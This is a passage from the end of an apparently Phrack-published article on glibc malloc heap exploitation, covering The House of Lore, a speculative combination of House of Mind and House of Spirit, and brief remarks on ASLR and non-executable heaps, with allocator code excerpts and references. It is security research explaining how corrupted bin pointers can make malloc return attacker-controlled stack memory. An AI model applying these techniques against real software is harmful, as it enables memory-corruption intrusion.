|
||
|
7) Pointer "fd" of the "bin" points to our chunk:
|
||
|
|
||
|
bck->fd = victim;
|
||
|
|
||
|
|
||
|
bin->bk ___ bin->fwd
|
||
|
o--------[bin]----------o
|
||
|
! ^ ^ !
|
||
|
[last]-------| |-------[victim]
|
||
|
^| l->fwd v->bk ^|
|
||
|
|! |!
|
||
|
[....] [....]
|
||
|
\\ //
|
||
|
[....] [....]
|
||
|
^ |____________^ |
|
||
|
|________________|
|
||
|
|
||
|
|
||
|
|
||
|
Into "unlink code", if "victim" is taken from "bin->bk, it may be
|
||
|
necessary to repeat numerous calls to malloc() until the "victim" reach
|
||
|
the "last" position.
|
||
|
|
||
|
Let's see the code to discover a few things:
|
||
|
|
||
|
|
||
|
.....
|
||
|
if ( (victim = last(bin)) != bin) {
|
||
|
if (victim == 0) /* initialization check */
|
||
|
malloc_consolidate(av);
|
||
|
else {
|
||
|
bck = victim->bk;
|
||
|
set_inuse_bit_at_offset(victim, nb);
|
||
|
bin->bk = bck;
|
||
|
bck->fd = bin;
|
||
|
...
|
||
|
return chunk2mem(victim);
|
||
|
.....
|
||
|
|
||
|
|
||
|
In this technique, Phantasmal said that the ultimate goal was to overwrite
|
||
|
"bin->bk," but the first element that we can control is "victim->bk". As
|
||
|
far as I can understand, we must ensure that the overflowed chunk passed
|
||
|
to "free ()" is in the previous position to "last", so that "victim->bk"
|
||
|
point to its address, that we must control and should point to the stack.
|
||
|
|
||
|
This address is passed to "bck" and then will change "bin->bk". Due to
|
||
|
this, we now control the "last" chunk with a designer controlled address.
|
||
|
|
||
|
That is why we need a new call to "malloc()" with same size as the
|
||
|
previous call, so that this value is the new "victim" and is returned in:
|
||
|
|
||
|
return chunk2mem (victim);
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
|
||
|
*ptr1 -> modified;
|
||
|
|
||
|
First call to "malloc()":
|
||
|
-------------------------
|
||
|
|
||
|
___[chunk]_____[chunk]_____[chunk]____
|
||
|
| |
|
||
|
! bk bk |
|
||
|
[bin]----->[last=victim]----->[ ptr1 ]---/
|
||
|
^____________| ^_______________|
|
||
|
fwd ^ fwd
|
||
|
|
|
||
|
return chunk2men(victim);
|
||
|
|
||
|
|
||
|
|
||
|
Second call to "malloc()":
|
||
|
--------------------------
|
||
|
|
||
|
___[chunk]_____[chunk]_____[chunk]____
|
||
|
| |
|
||
|
! bk bk |
|
||
|
[bin]----->[ ptr1 ]--------->[ chunk ]---/
|
||
|
^___________| ^________________|
|
||
|
fwd ^ fwd
|
||
|
|
|
||
|
return chunk2men(ptr1);
|
||
|
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
One must be careful with that also overwrites "bck->fd" in turn, in the
|
||
|
stack it is not a big problem.
|
||
|
|
||
|
It is for this reason that if your interest is really enough, my tip is
|
||
|
that you don't pay much attention to The House of Prime, as indicated
|
||
|
Phantasmal in his paper, instead, consider again the House of Spirit.
|
||
|
|
||
|
In theory, using a similar technique, a false chunk should can been sited
|
||
|
in its corresponding "bin" and trigger a further call to "malloc()" that
|
||
|
could returns the same memory space.
|
||
|
|
||
|
Remember that the size of allocated chunk must be greater than
|
||
|
"av->max_fast" (72), and less than 512 to execute "small bin" code instead
|
||
|
of fastbin code:
|
||
|
|
||
|
#define NSMALLBINS 64
|
||
|
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
|
||
|
#define MIN_LARGE_SIZE (NSMALLBINS * SMALLBIN_WIDTH)
|
||
|
|
||
|
[64] * [8] = [512]
|
||
|
|
||
|
For "largebin" method will have to use larger chunks than this estimated
|
||
|
size.
|
||
|
|
||
|
Like all houses, it's only a way of playing, and The House of Lore,
|
||
|
although not very suitable for a credible case, no one can say that
|
||
|
is a complete exception...
|
||
|
|
||
|
|
||
|
|
||
|
<< La humanidad necesita con urgencia
|
||
|
una nueva sabiduria que proporcione
|
||
|
el conocimiento de como usar el
|
||
|
conocimiento para la supervivencia
|
||
|
del hombre y para la mejora de la
|
||
|
calidad de vida. >>
|
||
|
|
||
|
[ V. R. Potter ]
|
||
|
|
||
|
|
||
|
|
||
|
------------------------------
|
||
|
---[ 4.6 ---[ THE HOUSE OF UNDERGROUND ]---
|
||
|
------------------------------
|
||
|
|
||
|
Well, this house really was not described in Phantasmal Phantasmagoria's
|
||
|
paper, but it is quite useful to describe a concept that I have in mind.
|
||
|
|
||
|
In this world are all possibilities. Chances that something goes well, or
|
||
|
chances of something going wrong. In the world of the vulnerabilities
|
||
|
exploitation, this remains true. The problem is to get the neccesary
|
||
|
skills to find these possibilities, usually the possibility of that
|
||
|
something goes well.
|
||
|
|
||
|
Speaking at this time to unite several of the prior techniques in a same
|
||
|
attack should not be so strange, and sometimes could be the most
|
||
|
appropriate solution. Recall that g463 is not satisfied with the technique
|
||
|
The House of Force to work on the vulnerability of the file (1) utility,
|
||
|
but he was looking for new possibilities so that things come out well.
|
||
|
|
||
|
For example ... what about using in a same instant the The House of Mind
|
||
|
and The House of Spirit methods?
|
||
|
|
||
|
Consider that both have their own limitations. On the one hand, The House
|
||
|
Mind need as has been said a piece of memory in an above address that
|
||
|
"0x08100000", while The House of Spirit, states that once the pointer to
|
||
|
be free()ed has been overwritten, a new call to malloc() will be done.
|
||
|
|
||
|
In The House of Mind, the main goal is to control the "arena" structure
|
||
|
and this change starts with the modification of the third bit less
|
||
|
significant of the size field of the overwritten chunk (P). But the fact
|
||
|
we can modify this metadata, does not mean that we have control of the
|
||
|
address of this chunk.
|
||
|
|
||
|
In contrast, in The House of Spirit, we alter the address of P, through
|
||
|
the manipulation of the pointer to the data area (*mem). But what happens
|
||
|
if in your vulnerable application does not exist a new call to malloc()
|
||
|
that will return an arbitrary piece of memory on the stack?
|
||
|
|
||
|
You may still investigate new avenues, but I would not be assured that
|
||
|
running.
|
||
|
|
||
|
If we can change the pointer to be freed, like in The House of Spirit,
|
||
|
this will be passed to free() in:
|
||
|
|
||
|
public_fREe(Void_t* mem)
|
||
|
|
||
|
We can make it point to some place like the stack or the environment. It
|
||
|
should always be a memory location with data controlled by the user. Then
|
||
|
the effective address of the chunk would taken at:
|
||
|
|
||
|
p = mem2chunk(mem);
|
||
|
|
||
|
At this point we leave The House of The Spirit to focus on The House of
|
||
|
Mind. Then again we must control the arena "ar_ptr" and, to achieve this,
|
||
|
(&p + 4) should contain a size with the NON_MAIN_ARENA bit enabled.
|
||
|
|
||
|
But that is not the most important thing here, the final question is:
|
||
|
could you put the chunk in a place so that you can then control the area
|
||
|
returned by "heap_for_ptr(ptr)->ar_ptr"?
|
||
|
|
||
|
Remember that in the stack that would be something like "0xbff00000". It
|
||
|
seems quite difficult reach an address like this even introducing a
|
||
|
padding into environment.
|
||
|
|
||
|
But again, all ways should be studied, you could find a new method, and
|
||
|
perhaps you call it The House of Underground...
|
||
|
|
||
|
|
||
|
|
||
|
<< Los apasionados de Internet han encontrado
|
||
|
en esta opcion una impensada oportunidad
|
||
|
de volver a ilusionarse con el futuro. No
|
||
|
solo algunos disfrutan como enanos; creen
|
||
|
que este instrumento agiganta y que, acabada
|
||
|
la fragmentacion entre unos y otros, se ha
|
||
|
ingresado en la era de la conexion global.
|
||
|
Internet no tiene centro, es una red de
|
||
|
dibujo democratico y popular. >>
|
||
|
|
||
|
[ V. Verdu: El enredo de la red ]
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
----------------------------------------
|
||
|
---[ 5 ---[ ASLR and Nonexec Heap (The Future) ]---
|
||
|
----------------------------------------
|
||
|
|
||
|
We have not discussed in this article about how to circumvent protections
|
||
|
like memory address randomization (ASLR) and a non executable Heap . And
|
||
|
we will not do, but something we can say about it. You should be aware
|
||
|
that in all my basic exploits, I have hardcoded the majority of the
|
||
|
addresses.
|
||
|
|
||
|
This way of working is not very reliable in the days we live in...
|
||
|
|
||
|
In all techniques presented in this paper, especially int The House of
|
||
|
Spirit or The House of Force, where all comes down to a stack overflow, we
|
||
|
guess that it would be applicable the methods described in other papers
|
||
|
released in Phrack magazine or extern publications that explained how to
|
||
|
bypass ASLR protection and others about how to return into mprotect ( ) to
|
||
|
bypass a non exectuable heap and things like that.
|
||
|
|
||
|
Regarding to the first topic, we have a magic work, "Bypassing PaX ASLR
|
||
|
protection" [11] by Tyler Durden in Phrack 59.
|
||
|
|
||
|
On the other hand, circumvent a non executable heap whether if ASLR is
|
||
|
present and our skills to find the real address of a function like
|
||
|
mprotect( ) to allow us to change the permissions of the pages of memory.
|
||
|
|
||
|
Since I started my little research and work to write this article, my goal
|
||
|
has always been to leave this task as the homework for new hackers who
|
||
|
have the strength to continue in this way.
|
||
|
|
||
|
Finally, this is a new area for further research.
|
||
|
|
||
|
|
||
|
|
||
|
<< Todo tiene algo de belleza pero
|
||
|
no todos son capaces de verlo. >>
|
||
|
|
||
|
[ Confucio ]
|
||
|
|
||
|
|
||
|
|
||
|
-------------------------
|
||
|
---[ 6 ---[ THE HOUSE OF PHRACK ]---
|
||
|
-------------------------
|
||
|
|
||
|
This is just a way so you can continue researching. There is a world full
|
||
|
of possibilities, and most of them still aren't discovered. Do you want
|
||
|
be the next?
|
||
|
|
||
|
This is your house!
|
||
|
|
||
|
|
||
|
To finish, because Phrack admits "spirit oriented" articles, I will
|
||
|
venture to drop a simple comment.
|
||
|
|
||
|
Anyone interested in Linux development had read ever interesting articles
|
||
|
as "The Cathedral and the Bazar" and "Homesteading the Noosphere" of the
|
||
|
arch-known founder of the Open Source movement, Eric S. Raymond. For this
|
||
|
is not so, maybe they had read "Jargon File" or perhaps for others, the
|
||
|
"Hacker How-To". It is the latter that we are interested, especially when
|
||
|
Raymond mentions the following:
|
||
|
|
||
|
* Don't use a silly, grandiose user ID or screen name.
|
||
|
|
||
|
<< The problem with screen names or handles deserves some
|
||
|
amplification. Concealing your identity behind a handle
|
||
|
is a juvenile and silly behavior characteristic of crackers,
|
||
|
warez d00dz, and other lower life forms. Hackers don't do
|
||
|
this; they're proud of what they do and want it associated
|
||
|
with their real names. So if you have a handle, drop it.
|
||
|
In the hacker culture it will only mark you as a loser. >>
|
||
|
|
||
|
|
||
|
As far as I understand, this means that all those who had written in
|
||
|
Phrack are childhood, crackers, lower life forms and are marked in the
|
||
|
hacker culture as losers.
|
||
|
|
||
|
Is there some connection between our name and our skills, philosophy
|
||
|
of life or our ethics in hacking?
|
||
|
|
||
|
Me, in my sole opinion, if this is true, I am proud that Phrack admit into
|
||
|
their lines to lower life forms. Lower life forms that have helped to
|
||
|
raise the security level of the network of networks in ways unimaginable.
|
||
|
|
||
|
To all of them, thanks!!!
|
||
|
|
||
|
|
||
|
blackngel
|
||
|
|
||
|
|
||
|
|
||
|
"Adormecida, ella yace
|
||
|
con los ojos abiertos
|
||
|
como la ascensin del Angel hacia arriba
|
||
|
Sus bellos ojos de disuelto azul
|
||
|
que responden ahora: "lo hare, lo hago!
|
||
|
la pregunta realizada hace tanto tiempo.
|
||
|
|
||
|
Aunque ella debe gritar
|
||
|
no lo parece
|
||
|
lo que pronuncia es mas que un grito
|
||
|
Yo se que el Angel debe llegar
|
||
|
para besarme suavemente, como mi estimulo
|
||
|
la aguja profunda penetra en sus ojos."
|
||
|
|
||
|
* Versos 4 y 5 de "El beso del Angel Negro"
|
||
|
|
||
|
|
||
|
|
||
|
----------------
|
||
|
---[ 7 ---[ REFERENCES ]---
|
||
|
----------------
|
||
|
|
||
|
[1] Vudo - An object superstitiously believed to embody magical powers
|
||
|
http://www.phrack.org/issues.html?issue=57&id=8#article
|
||
|
|
||
|
[2] Once upon a free()
|
||
|
http://www.phrack.org/issues.html?issue=57&id=9#article
|
||
|
|
||
|
[3] Advanced Doug Lea's malloc exploits
|
||
|
http://www.phrack.org/issues.html?issue=61&id=6#article
|
||
|
|
||
|
[4] Malloc Maleficarum
|
||
|
http://seclists.org/bugtraq/2005/Oct/0118.html
|
||
|
|
||
|
[5] Exploiting the Wilderness
|
||
|
http://seclists.org/vuln-dev/2004/Feb/0025.html
|
||
|
|
||
|
[6] The House of Mind
|
||
|
http://www.awarenetwork.org/etc/alpha/?x=4
|
||
|
|
||
|
[7] The use of set_head to defeat the wilderness
|
||
|
http://www.phrack.org/issues.html?issue=64&id=9#article
|
||
|
|
||
|
[8] GLIBC 2.3.6
|
||
|
http://ftp.gnu.org/gnu/glibc/glibc-2.3.6.tar.bz2
|
||
|
|
||
|
[9] PTMALLOC of Wolfram Gloger
|
||
|
http://www.malloc.de/en/
|
||
|
|
||
|
[10] The art of Exploitation: Come back on an exploit
|
||
|
http://www.phrack.org/issues.html?issue=64&id=15#article
|
||
|
|
||
|
[11] Bypassing PaX ASLR protection
|
||
|
http://www.phrack.org/issues.html?issue=59&id=9#article
|
||
|
|
||
|
|
||
|
--------[ EOF
|